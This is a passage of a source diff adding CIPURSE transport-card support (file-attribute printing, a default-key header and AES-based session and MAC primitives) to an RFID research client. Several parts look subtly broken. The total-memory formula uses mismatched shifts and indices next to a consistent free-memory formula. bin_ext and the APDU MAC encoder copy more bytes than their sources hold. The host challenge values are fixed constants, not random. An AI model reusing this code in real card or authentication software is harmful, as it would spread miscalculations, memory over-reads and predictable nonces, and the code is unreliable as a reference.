void CIPURSEPrintInfoFile(uint8_t *data, size_t len) {
|
||||
if (len < 2) {
|
||||
PrintAndLogEx(ERR, "Info file length " _RED_("ERROR"));
|
||||
return;
|
||||
}
|
||||
|
||||
PrintAndLogEx(INFO, "------------ INFO ------------");
|
||||
PrintAndLogEx(INFO, "CIPURSE version %d revision %d", data[0], data[1]);
|
||||
|
||||
if (len >= 3)
|
||||
CIPURSEPrintPersoMode(data[2]);
|
||||
|
||||
if (len >= 4)
|
||||
CIPURSEPrintProfileInfo(data[3]);
|
||||
|
||||
if (len >= 9)
|
||||
CIPURSEPrintManufacturerInfo(data[8]);
|
||||
}
|
||||
|
||||
static void CIPURSEPrintFileDescriptor(uint8_t desc) {
|
||||
if (desc == 0x01)
|
||||
PrintAndLogEx(INFO, "Binary file");
|
||||
else if (desc == 0x11)
|
||||
PrintAndLogEx(INFO, "Binary file with transactions");
|
||||
else if (desc == 0x02)
|
||||
PrintAndLogEx(INFO, "Linear record file");
|
||||
else if (desc == 0x12)
|
||||
PrintAndLogEx(INFO, "Linear record file with transactions");
|
||||
else if (desc == 0x06)
|
||||
PrintAndLogEx(INFO, "Cyclic record file");
|
||||
else if (desc == 0x16)
|
||||
PrintAndLogEx(INFO, "Cyclic record file with transactions");
|
||||
else if (desc == 0x1E)
|
||||
PrintAndLogEx(INFO, "Linear value-record file");
|
||||
else if (desc == 0x1F)
|
||||
PrintAndLogEx(INFO, "Linear value-record file with transactions");
|
||||
else
|
||||
PrintAndLogEx(INFO, "Unknown file 0x%02x", desc);
|
||||
}
|
||||
|
||||
static void CIPURSEPrintKeyAttrib(uint8_t *attr) {
|
||||
PrintAndLogEx(INFO, "-------- KEY ATTRIBUTES --------");
|
||||
PrintAndLogEx(INFO, "Additional info: 0x%02x", attr[0]);
|
||||
PrintAndLogEx(INFO, "Key length: %d", attr[1]);
|
||||
PrintAndLogEx(INFO, "Algorithm ID: 0x%02x", attr[2]);
|
||||
PrintAndLogEx(INFO, "Security attr: 0x%02x", attr[3]);
|
||||
PrintAndLogEx(INFO, "KVV: 0x%02x%02x%02x", attr[4], attr[5], attr[6]);
|
||||
PrintAndLogEx(INFO, "-------------------------------");
|
||||
}
|
||||
|
||||
void CIPURSEPrintFileAttr(uint8_t *fileAttr, size_t len) {
|
||||
if (len < 7) {
|
||||
PrintAndLogEx(ERR, "Attributes length " _RED_("ERROR"));
|
||||
return;
|
||||
}
|
||||
|
||||
PrintAndLogEx(INFO, "--------- FILE ATTRIBUTES ---------");
|
||||
if (fileAttr[0] == 0x38) {
|
||||
PrintAndLogEx(INFO, "Type: MF, ADF");
|
||||
if (fileAttr[1] == 0x00) {
|
||||
PrintAndLogEx(INFO, "Type: MF");
|
||||
} else {
|
||||
if ((fileAttr[1] & 0xe0) == 0x00)
|
||||
PrintAndLogEx(INFO, "Type: Unknown");
|
||||
if ((fileAttr[1] & 0xe0) == 0x20)
|
||||
PrintAndLogEx(INFO, "Type: CIPURSE L");
|
||||
if ((fileAttr[1] & 0xe0) == 0x40)
|
||||
PrintAndLogEx(INFO, "Type: CIPURSE S");
|
||||
if ((fileAttr[1] & 0xe0) == 0x60)
|
||||
PrintAndLogEx(INFO, "Type: CIPURSE T");
|
||||
if ((fileAttr[1] & 0x02) == 0x00)
|
||||
PrintAndLogEx(INFO, "Autoselect on PxSE select OFF");
|
||||
else
|
||||
PrintAndLogEx(INFO, "Autoselect on PxSE select ON");
|
||||
if ((fileAttr[1] & 0x01) == 0x00)
|
||||
PrintAndLogEx(INFO, "PxSE select returns FCPTemplate OFF");
|
||||
else
|
||||
PrintAndLogEx(INFO, "PxSE select returns FCPTemplate ON");
|
||||
}
|
||||
|
||||
PrintAndLogEx(INFO, "File ID: 0x%02x%02x", fileAttr[2], fileAttr[3]);
|
||||
|
||||
PrintAndLogEx(INFO, "Maximum number of custom EFs: %d", fileAttr[4]);
|
||||
PrintAndLogEx(INFO, "Maximum number of EFs with SFID: %d", fileAttr[5]);
|
||||
uint8_t keyNum = fileAttr[6];
|
||||
PrintAndLogEx(INFO, "Keys assigned: %d", keyNum);
|
||||
|
||||
if (len >= 9) {
|
||||
PrintAndLogEx(INFO, "SMR entries: %02x%02x", fileAttr[7], fileAttr[8]);
|
||||
}
|
||||
|
||||
if (len >= 10 + keyNum + 1) {
|
||||
PrintAndLogEx(INFO, "ART: %s", sprint_hex(&fileAttr[9], keyNum + 1));
|
||||
}
|
||||
|
||||
if (len >= 11 + keyNum + 1 + keyNum * 7) {
|
||||
for (int i = 0; i < keyNum; i++) {
|
||||
PrintAndLogEx(INFO, "Key %d Attributes: %s", i, sprint_hex(&fileAttr[11 + keyNum + 1 + i * 7], 7));
|
||||
CIPURSEPrintKeyAttrib(&fileAttr[11 + keyNum + 1 + i * 7]);
|
||||
}
|
||||
}
|
||||
// MF
|
||||
if (fileAttr[1] == 0x00) {
|
||||
PrintAndLogEx(INFO, "Total memory size: %d", (fileAttr[len - 6] << 16) + (fileAttr[len - 1] << 5) + fileAttr[len - 4]);
|
||||
PrintAndLogEx(INFO, "Free memory size: %d", (fileAttr[len - 3] << 16) + (fileAttr[len - 2] << 8) + fileAttr[len - 1]);
|
||||
|
||||
} else {
|
||||
int ptr = 11 + keyNum + 1 + keyNum * 7;
|
||||
if (len > ptr)
|
||||
PrintAndLogEx(INFO, "TLV file control: %s", sprint_hex(&fileAttr[ptr], len - ptr));
|
||||
}
|
||||
} else {
|
||||
PrintAndLogEx(INFO, "Type: EF");
|
||||
CIPURSEPrintFileDescriptor(fileAttr[0]);
|
||||
if (fileAttr[1] == 0)
|
||||
PrintAndLogEx(INFO, "SFI: not assigned");
|
||||
else
|
||||
PrintAndLogEx(INFO, "SFI: 0x%02x", fileAttr[1]);
|
||||
|
||||
PrintAndLogEx(INFO, "File ID: 0x%02x%02x", fileAttr[2], fileAttr[3]);
|
||||
|
||||
if (fileAttr[0] == 0x01 || fileAttr[0] == 0x11)
|
||||
PrintAndLogEx(INFO, "File size: %d", (fileAttr[4] << 8) + fileAttr[5]);
|
||||
else
|
||||
PrintAndLogEx(INFO, "Record num: %d record size: %d", fileAttr[4], fileAttr[5]);
|
||||
|
||||
PrintAndLogEx(INFO, "Keys assigned: %d", fileAttr[6]);
|
||||
|
||||
if (len >= 9) {
|
||||
PrintAndLogEx(INFO, "SMR entries: %02x%02x", fileAttr[7], fileAttr[8]);
|
||||
}
|
||||
|
||||
if (len >= 10) {
|
||||
PrintAndLogEx(INFO, "ART: %s", sprint_hex(&fileAttr[9], len - 9));
|
||||
if (fileAttr[6] + 1 != len - 9)
|
||||
PrintAndLogEx(WARNING, "ART length is wrong");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
44
client/src/cipurse/cipursecore.h
Normal file
44
client/src/cipurse/cipursecore.h
Normal file
|
@ -0,0 +1,44 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2021 Merlok
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// CIPURSE transport cards data and commands
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#ifndef __CIPURSECORE_H__
|
||||
#define __CIPURSECORE_H__
|
||||
|
||||
#include "common.h"
|
||||
|
||||
#include <jansson.h>
|
||||
#include "iso7816/apduinfo.h" // sAPDU
|
||||
#include "cipurse/cipursecrypto.h"
|
||||
|
||||
|
||||
#define CIPURSE_DEFAULT_KEY {0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73, 0x73}
|
||||
|
||||
void CIPURSEPrintInfoFile(uint8_t *data, size_t len);
|
||||
|
||||
int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
|
||||
int CIPURSEChallenge(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
int CIPURSEMutalAuthenticate(uint8_t keyIndex, uint8_t *params, uint8_t paramslen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
|
||||
int CIPURSECreateFile(uint8_t *attr, uint16_t attrlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
int CIPURSEDeleteFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
|
||||
int CIPURSESelectMFFile(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) ;
|
||||
int CIPURSESelectFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
int CIPURSEReadFileAttributes(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
int CIPURSEReadBinary(uint16_t offset, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
int CIPURSEUpdateBinary(uint16_t offset, uint8_t *data, uint16_t datalen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw);
|
||||
|
||||
bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose);
|
||||
void CIPURSECSetActChannelSecurityLevels(CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp);
|
||||
|
||||
void CIPURSEPrintFileAttr(uint8_t *fileAttr, size_t len);
|
||||
|
||||
#endif /* __CIPURSECORE_H__ */
|
528
client/src/cipurse/cipursecrypto.c
Normal file
528
client/src/cipurse/cipursecrypto.c
Normal file
|
@ -0,0 +1,528 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2021 Merlok
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// CIPURSE crypto primitives
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
#include "cipursecrypto.h"
|
||||
|
||||
#include "commonutil.h" // ARRAYLEN
|
||||
#include "comms.h" // DropField
|
||||
#include "util_posix.h" // msleep
|
||||
#include <string.h> // memcpy memset
|
||||
|
||||
#include "cmdhf14a.h"
|
||||
#include "emv/emvcore.h"
|
||||
#include "emv/emvjson.h"
|
||||
#include "crypto/libpcrypto.h"
|
||||
#include "ui.h"
|
||||
#include "util.h"
|
||||
|
||||
uint8_t AESData0[CIPURSE_AES_KEY_LENGTH] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
uint8_t QConstant[CIPURSE_AES_KEY_LENGTH] = {0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74, 0x74};
|
||||
|
||||
uint8_t CipurseCSecurityLevelEnc(CipurseChannelSecurityLevel lvl) {
|
||||
switch (lvl) {
|
||||
case CPSNone:
|
||||
return 0x00;
|
||||
case CPSPlain:
|
||||
return 0x00;
|
||||
case CPSMACed:
|
||||
return 0x01;
|
||||
case CPSEncrypted:
|
||||
return 0x02;
|
||||
default:
|
||||
return 0x00;
|
||||
}
|
||||
}
|
||||
|
||||
static void bin_xor(uint8_t *d1, uint8_t *d2, size_t len) {
|
||||
for (size_t i = 0; i < len; i++)
|
||||
d1[i] = d1[i] ^ d2[i];
|
||||
}
|
||||
|
||||
static void bin_ext(uint8_t *dst, size_t dstlen, uint8_t *src, size_t srclen) {
|
||||
if (srclen > dstlen)
|
||||
memcpy(dst, &src[srclen - dstlen], dstlen);
|
||||
else
|
||||
memcpy(dst, src, dstlen);
|
||||
}
|
||||
|
||||
static void bin_pad(uint8_t *dst, size_t dstlen, uint8_t *src, size_t srclen) {
|
||||
memset(dst, 0, dstlen);
|
||||
if (srclen <= dstlen)
|
||||
memcpy(&dst[dstlen - srclen], src, srclen);
|
||||
else
|
||||
memcpy(dst, src, dstlen);
|
||||
}
|
||||
|
||||
static void bin_pad2(uint8_t *dst, size_t dstlen, uint8_t *src, size_t srclen) {
|
||||
memset(dst, 0, dstlen);
|
||||
uint8_t dbl[srclen * 2];
|
||||
memcpy(dbl, src, srclen);
|
||||
memcpy(&dbl[srclen], src, srclen);
|
||||
bin_pad(dst, dstlen, dbl, srclen * 2);
|
||||
}
|
||||
|
||||
static uint64_t rotateLeft48(uint64_t src) {
|
||||
uint64_t dst = src << 1;
|
||||
if (dst & 0x0001000000000000UL) {
|
||||
dst = dst | 1;
|
||||
dst = dst & 0x0000ffffffffffffUL;
|
||||
}
|
||||
return dst;
|
||||
}
|
||||
|
||||
static uint64_t computeNLM48(uint64_t x, uint64_t y) {
|
||||
uint64_t res = 0;
|
||||
|
||||
for (int i = 0; i < 48; i++) {
|
||||
res = rotateLeft48(res);
|
||||
if (res & 1)
|
||||
res = res ^ CIPURSE_POLY;
|
||||
y = rotateLeft48(y);
|
||||
if (y & 1)
|
||||
res = res ^ x;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
static void computeNLM(uint8_t *res, uint8_t *x, uint8_t *y) {
|
||||
uint64_t x64 = 0;
|
||||
uint64_t y64 = 0;
|
||||
|
||||
for (int i = 0; i < 6; i++) {
|
||||
x64 = (x64 << 8) | x[i];
|
||||
y64 = (y64 << 8) | y[i];
|
||||
}
|
||||
|
||||
uint64_t res64 = computeNLM48(x64, y64);
|
||||
|
||||
for (int i = 0; i < 6; i++) {
|
||||
res[5 - i] = res64 & 0xff;
|
||||
res64 = res64 >> 8;
|
||||
}
|
||||
}
|
||||
|
||||
static void CipurseCGenerateK0AndCp(CipurseContext *ctx) {
|
||||
uint8_t temp1[CIPURSE_AES_KEY_LENGTH] = {0};
|
||||
uint8_t temp2[CIPURSE_AES_KEY_LENGTH] = {0};
|
||||
uint8_t kp[CIPURSE_SECURITY_PARAM_N] = {0};
|
||||
|
||||
// session key derivation function
|
||||
// kP := NLM(EXT(kID), rP)
|
||||
// k0 := AES(key=PAD2(kP) XOR PAD(rT),kID) XOR kID
|
||||
bin_ext(temp1, CIPURSE_SECURITY_PARAM_N, ctx->key, CIPURSE_AES_KEY_LENGTH);
|
||||
computeNLM(kp, ctx->rP, temp1); // param sizes == 6 bytes
|
||||
bin_pad2(temp1, CIPURSE_AES_KEY_LENGTH, kp, CIPURSE_SECURITY_PARAM_N);
|
||||
bin_pad(temp2, CIPURSE_AES_KEY_LENGTH, ctx->rT, CIPURSE_SECURITY_PARAM_N);
|
||||
bin_xor(temp1, temp2, CIPURSE_AES_KEY_LENGTH);
|
||||
|
||||
// session key K0
|
||||
aes_encode(NULL, temp1, ctx->key, ctx->k0, CIPURSE_AES_KEY_LENGTH);
|
||||
bin_xor(ctx->k0, ctx->key, CIPURSE_AES_KEY_LENGTH);
|
||||
|
||||
// first frame key k1, function to calculate k1,
|
||||
// k1 := AES(key = RP; k0 XOR RT) XOR (k0 XOR RT)
|
||||
memcpy(temp1, ctx->k0, CIPURSE_AES_KEY_LENGTH);
|
||||
bin_xor(temp1, ctx->RT, CIPURSE_AES_KEY_LENGTH);
|
||||
aes_encode(NULL, ctx->RP, temp1, temp2, CIPURSE_AES_KEY_LENGTH);
|
||||
bin_xor(temp1, temp2, CIPURSE_AES_KEY_LENGTH);
|
||||
memcpy(ctx->frameKey, temp1, CIPURSE_AES_KEY_LENGTH);
|
||||
|
||||
// function to caluclate cP := AES(key=k0, RP).
|
||||
// terminal response
|
||||
aes_encode(NULL, ctx->k0, ctx->RP, ctx->cP, CIPURSE_AES_KEY_LENGTH);
|
||||
}
|
||||
|
||||
static void CipurseCGenerateCT(uint8_t *k0, uint8_t *RT, uint8_t *CT) {
|
||||
aes_encode(NULL, k0, RT, CT, CIPURSE_AES_KEY_LENGTH);
|
||||
}
|
||||
|
||||
// from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/securemessaging/CipurseSecureMessage.java#L68
|
||||
void CipurseCGetKVV(uint8_t *key, uint8_t *kvv) {
|
||||
uint8_t res[16] = {0};
|
||||
aes_encode(NULL, key, AESData0, res, CIPURSE_AES_KEY_LENGTH);
|
||||
memcpy(kvv, res, CIPURSE_KVV_LENGTH);
|
||||
}
|
||||
|
||||
void CipurseCClearContext(CipurseContext *ctx) {
|
||||
if (ctx == NULL)
|
||||
return;
|
||||
|
||||
memset(ctx, 0, sizeof(CipurseContext));
|
||||
}
|
||||
|
||||
void CipurseCSetKey(CipurseContext *ctx, uint8_t keyId, uint8_t *key) {
|
||||
if (ctx == NULL)
|
||||
return;
|
||||
|
||||
CipurseCClearContext(ctx);
|
||||
|
||||
ctx->keyId = keyId;
|
||||
memcpy(ctx->key, key, member_size(CipurseContext, key));
|
||||
}
|
||||
|
||||
void CipurseCChannelSetSecurityLevels(CipurseContext *ctx, CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp) {
|
||||
ctx->RequestSecurity = req;
|
||||
ctx->ResponseSecurity = resp;
|
||||
}
|
||||
|
||||
bool isCipurseCChannelSecuritySet(CipurseContext *ctx) {
|
||||
return ((ctx->RequestSecurity != CPSNone) && (ctx->ResponseSecurity != CPSNone));
|
||||
}
|
||||
|
||||
void CipurseCSetRandomFromPICC(CipurseContext *ctx, uint8_t *random) {
|
||||
if (ctx == NULL)
|
||||
return;
|
||||
|
||||
memcpy(ctx->RP, random, member_size(CipurseContext, RP));
|
||||
memcpy(ctx->rP, random + member_size(CipurseContext, RP), member_size(CipurseContext, rP));
|
||||
}
|
||||
|
||||
void CipurseCSetRandomHost(CipurseContext *ctx) {
|
||||
memset(ctx->RT, 0x10, member_size(CipurseContext, RT));
|
||||
memset(ctx->rT, 0x20, member_size(CipurseContext, rT));
|
||||
}
|
||||
|
||||
uint8_t CipurseCGetSMI(CipurseContext *ctx, bool LePresent) {
|
||||
uint8_t res = LePresent ? 1 : 0;
|
||||
res = res | (CipurseCSecurityLevelEnc(ctx->ResponseSecurity) << 2);
|
||||
res = res | (CipurseCSecurityLevelEnc(ctx->RequestSecurity) << 6);
|
||||
return res;
|
||||
}
|
||||
|
||||
static void CipurseCFillAuthData(CipurseContext *ctx, uint8_t *authdata) {
|
||||
memcpy(authdata, ctx->cP, member_size(CipurseContext, cP));
|
||||
memcpy(&authdata[member_size(CipurseContext, cP)], ctx->RT, member_size(CipurseContext, RT));
|
||||
memcpy(&authdata[member_size(CipurseContext, cP) + member_size(CipurseContext, RT)], ctx->rT, member_size(CipurseContext, rT));
|
||||
}
|
||||
|
||||
void CipurseCAuthenticateHost(CipurseContext *ctx, uint8_t *authdata) {
|
||||
if (ctx == NULL)
|
||||
return;
|
||||
|
||||
CipurseCSetRandomHost(ctx);
|
||||
CipurseCGenerateK0AndCp(ctx);
|
||||
CipurseCGenerateCT(ctx->k0, ctx->RT, ctx->CT);
|
||||
|
||||
if (authdata != NULL)
|
||||
CipurseCFillAuthData(ctx, authdata);
|
||||
}
|
||||
|
||||
bool CipurseCCheckCT(CipurseContext *ctx, uint8_t *CT) {
|
||||
return (memcmp(CT, ctx->CT, CIPURSE_AES_KEY_LENGTH) == 0);
|
||||
}
|
||||
|
||||
void AddISO9797M2Padding(uint8_t *ddata, size_t *ddatalen, uint8_t *sdata, size_t sdatalen, size_t blocklen) {
|
||||
*ddatalen = sdatalen + 1;
|
||||
*ddatalen += blocklen - *ddatalen % blocklen;
|
||||
memset(ddata, 0, *ddatalen);
|
||||
memcpy(ddata, sdata, sdatalen);
|
||||
ddata[sdatalen] = ISO9797_M2_PAD_BYTE;
|
||||
}
|
||||
|
||||
size_t FindISO9797M2PaddingDataLen(uint8_t *data, size_t datalen) {
|
||||
for (int i = datalen; i > 0; i--) {
|
||||
if (data[i - 1] == 0x80)
|
||||
return i - 1;
|
||||
if (data[i - 1] != 0x00)
|
||||
return 0;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint16_t CipurseCComputeMICCRC(uint8_t *data, size_t len) {
|
||||
uint16_t initCRC = 0x6363;
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
uint8_t ch = data[i] ^ initCRC;
|
||||
ch = ch ^ ((ch << 4) & 0xff);
|
||||
initCRC = (initCRC >> 8) ^ (ch << 8) ^ (ch << 3) ^ (ch >> 4);
|
||||
}
|
||||
return initCRC;
|
||||
}
|
||||
|
||||
void CipurseCGenerateMIC(uint8_t *data, size_t datalen, uint8_t *mic) {
|
||||
size_t plen = 0;
|
||||
uint8_t pdata[datalen + CIPURSE_MIC_LENGTH];
|
||||
memset(pdata, 0, sizeof(pdata));
|
||||
|
||||
// 0x00 padding
|
||||
memcpy(pdata, data, datalen);
|
||||
plen = datalen;
|
||||
if (datalen % CIPURSE_MIC_LENGTH)
|
||||
plen += CIPURSE_MIC_LENGTH - datalen % CIPURSE_MIC_LENGTH;
|
||||
|
||||
// crc
|
||||
uint16_t crc1 = CipurseCComputeMICCRC(pdata, plen);
|
||||
|
||||
for (size_t i = 0; i < datalen; i += 4) {
|
||||
uint8_t tmp1 = pdata[i + 0];
|
||||
uint8_t tmp2 = pdata[i + 1];
|
||||
pdata[i + 0] = pdata[i + 2];
|
||||
pdata[i + 1] = pdata[i + 3];
|
||||
pdata[i + 2] = tmp1;
|
||||
pdata[i + 3] = tmp2;
|
||||
}
|
||||
|
||||
uint16_t crc2 = CipurseCComputeMICCRC(pdata, plen);
|
||||
if (mic != NULL) {
|
||||
mic[0] = crc2 >> 8;
|
||||
mic[1] = crc2 & 0xff;
|
||||
mic[2] = crc1 >> 8;
|
||||
mic[3] = crc1 & 0xff;
|
||||
}
|
||||
}
|
||||
|
||||
bool CipurseCCheckMIC(uint8_t *data, size_t datalen, uint8_t *mic) {
|
||||
uint8_t xmic[CIPURSE_MIC_LENGTH] = {0};
|
||||
|
||||
CipurseCGenerateMIC(data, datalen, xmic);
|
||||
return (memcmp(xmic, mic, CIPURSE_MIC_LENGTH) == 0);
|
||||
}
|
||||
|
||||
/* from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/crypto/CipurseCrypto.java#L521
|
||||
*
|
||||
* Encrypt/Decrypt the given data using ciphering mechanism explained the OPST.
|
||||
* Data should be already padded.
|
||||
*
|
||||
* hx-1 := ki , hx := AES( key = hx-1 ; q) XOR q, Cx := AES( key = hx ;
|
||||
* Dx ), hx+1 := AES( key = hx ; q ) XOR q, Cx+1 := AES( key = hx+1 ;
|
||||
* Dx+1 ), ... hy := AES( key = hy-1 ; q ) XOR q, Cy := AES( key = hy ;
|
||||
* Dy ), ki+1 := hy
|
||||
*/
|
||||
void CipurseCEncryptDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *dstdata, bool isEncrypt) {
|
||||
uint8_t hx[CIPURSE_AES_KEY_LENGTH] = {0};
|
||||
|
||||
if (datalen == 0 || datalen % CIPURSE_AES_KEY_LENGTH != 0)
|
||||
return;
|
||||
|
||||
memcpy(ctx->frameKeyNext, ctx->frameKey, CIPURSE_AES_KEY_LENGTH);
|
||||
int i = 0;
|
||||
while (datalen > i) {
|
||||
aes_encode(NULL, QConstant, ctx->frameKeyNext, hx, CIPURSE_AES_KEY_LENGTH);
|
||||
bin_xor(hx, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH);
|
||||
|
||||
if (isEncrypt)
|
||||
aes_encode(NULL, hx, &data[i], &dstdata[i], CIPURSE_AES_KEY_LENGTH);
|
||||
else
|
||||
aes_decode(NULL, hx, &data[i], &dstdata[i], CIPURSE_AES_KEY_LENGTH);
|
||||
|
||||
memcpy(ctx->frameKeyNext, hx, CIPURSE_AES_KEY_LENGTH);
|
||||
i += CIPURSE_AES_KEY_LENGTH;
|
||||
}
|
||||
memcpy(ctx->frameKey, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH);
|
||||
}
|
||||
|
||||
void CipurseCChannelEncrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *encdata, size_t *encdatalen) {
|
||||
uint8_t pdata[datalen + CIPURSE_AES_KEY_LENGTH];
|
||||
size_t pdatalen = 0;
|
||||
AddISO9797M2Padding(pdata, &pdatalen, data, datalen, CIPURSE_AES_KEY_LENGTH);
|
||||
|
||||
CipurseCEncryptDecrypt(ctx, pdata, pdatalen, encdata, true);
|
||||
*encdatalen = pdatalen;
|
||||
}
|
||||
|
||||
void CipurseCChannelDecrypt(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *plaindata, size_t *plaindatalen) {
|
||||
CipurseCEncryptDecrypt(ctx, data, datalen, plaindata, false);
|
||||
*plaindatalen = FindISO9797M2PaddingDataLen(plaindata, datalen);
|
||||
}
|
||||
|
||||
/* from: https://github.com/duychuongvn/cipurse-card-core/blob/master/src/main/java/com/github/duychuongvn/cirpusecard/core/security/crypto/CipurseCrypto.java#L473
|
||||
*
|
||||
* Generate OSPT MAC on the given input data.
|
||||
* Data should be already padded.
|
||||
*
|
||||
* Calculation of Mi and ki+1: hx := ki , hx+1 := AES( key = hx ; Dx )
|
||||
* XOR Dx , hx+2 := AES( key = hx+1 ; Dx+1 ) XOR Dx+1, hx+3 := AES( key =
|
||||
* hx+2 ; Dx+2 ) XOR Dx+2, ... hy+1 := AES( key = hy ; Dy ) XOR Dy, ki+1 :=
|
||||
* hy+1 M'i := AES( key = ki ; ki+1 ) XOR ki+1, Mi := m LS bits of M'i = (
|
||||
* (M'i )0, (M'i )1, ..., (M'i )m-1)
|
||||
*/
|
||||
void CipurseCGenerateMAC(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) {
|
||||
uint8_t temp[CIPURSE_AES_KEY_LENGTH] = {0};
|
||||
|
||||
memcpy(ctx->frameKeyNext, ctx->frameKey, CIPURSE_AES_KEY_LENGTH);
|
||||
int i = 0;
|
||||
while (datalen > i) {
|
||||
aes_encode(NULL, ctx->frameKeyNext, &data[i], temp, CIPURSE_AES_KEY_LENGTH);
|
||||
bin_xor(temp, &data[i], CIPURSE_AES_KEY_LENGTH);
|
||||
memcpy(ctx->frameKeyNext, temp, CIPURSE_AES_KEY_LENGTH);
|
||||
i += CIPURSE_AES_KEY_LENGTH;
|
||||
}
|
||||
|
||||
aes_encode(NULL, ctx->frameKey, ctx->frameKeyNext, temp, CIPURSE_AES_KEY_LENGTH);
|
||||
bin_xor(temp, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH);
|
||||
memcpy(ctx->frameKey, ctx->frameKeyNext, CIPURSE_AES_KEY_LENGTH);
|
||||
if (mac != NULL)
|
||||
memcpy(mac, temp, CIPURSE_MAC_LENGTH);
|
||||
}
|
||||
|
||||
void CipurseCCalcMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) {
|
||||
uint8_t pdata[datalen + CIPURSE_AES_KEY_LENGTH];
|
||||
size_t pdatalen = 0;
|
||||
AddISO9797M2Padding(pdata, &pdatalen, data, datalen, CIPURSE_AES_KEY_LENGTH);
|
||||
CipurseCGenerateMAC(ctx, pdata, pdatalen, mac);
|
||||
}
|
||||
|
||||
bool CipurseCCheckMACPadded(CipurseContext *ctx, uint8_t *data, size_t datalen, uint8_t *mac) {
|
||||
uint8_t xmac[CIPURSE_MAC_LENGTH] = {0};
|
||||
CipurseCCalcMACPadded(ctx, data, datalen, xmac);
|
||||
return (memcmp(mac, xmac, CIPURSE_MAC_LENGTH) == 0);
|
||||
}
|
||||
|
||||
static void CipurseCAPDUMACEncode(CipurseContext *ctx, sAPDU *apdu, uint8_t originalLc, uint8_t *data, size_t *datalen) {
|
||||
data[0] = apdu->CLA;
|
||||
data[1] = apdu->INS;
|
||||
data[2] = apdu->P1;
|
||||
data[3] = apdu->P2;
|
||||
data[4] = apdu->Lc;
|
||||
*datalen = 5 + apdu->Lc;
|
||||
|
||||
if (ctx->RequestSecurity == CPSMACed || ctx->RequestSecurity == CPSEncrypted)
|
||||
*datalen = 5 + originalLc;
|
||||
memcpy(&data[5], apdu->data, *datalen);
|
||||
}
|
||||
|
||||
void CipurseCAPDUReqEncode(CipurseContext *ctx, sAPDU *srcapdu, sAPDU *dstapdu, uint8_t *dstdatabuf, bool includeLe, uint8_t Le) {
|
||||
uint8_t mac[CIPURSE_MAC_LENGTH] = {0};
|
||||
uint8_t buf[260] = {0};
|
||||
size_t buflen = 0;
|
||||
|
||||
memcpy(dstapdu, srcapdu, sizeof(sAPDU));
|
||||
|
||||
if (isCipurseCChannelSecuritySet(ctx) == false)
|
||||
return;
|
||||
|
||||
dstapdu->CLA |= 0x04;
|
||||
dstapdu->data = dstdatabuf;
|
||||
dstapdu->data[0] = CipurseCGetSMI(ctx, includeLe);
|
||||
dstapdu->Lc++;
|
||||
memcpy(&dstdatabuf[1], srcapdu->data, srcapdu->Lc);
|
||||
if (includeLe) {
|
||||
dstapdu->data[dstapdu->Lc] = Le;
|
||||
dstapdu->Lc++;
|
||||
}
|
||||
uint8_t originalLc = dstapdu->Lc;
|
||||
|
||||
switch (ctx->RequestSecurity) {
|
||||
case CPSNone:
|
||||
break;
|
||||
case CPSPlain:
|
||||
CipurseCAPDUMACEncode(ctx, dstapdu, originalLc, buf, &buflen);
|
||||
CipurseCCalcMACPadded(ctx, buf, buflen, NULL);
|
||||
break;
|
||||
case CPSMACed:
|
||||
dstapdu->Lc += CIPURSE_MAC_LENGTH;
|
||||
CipurseCAPDUMACEncode(ctx, dstapdu, originalLc, buf, &buflen);
|
||||
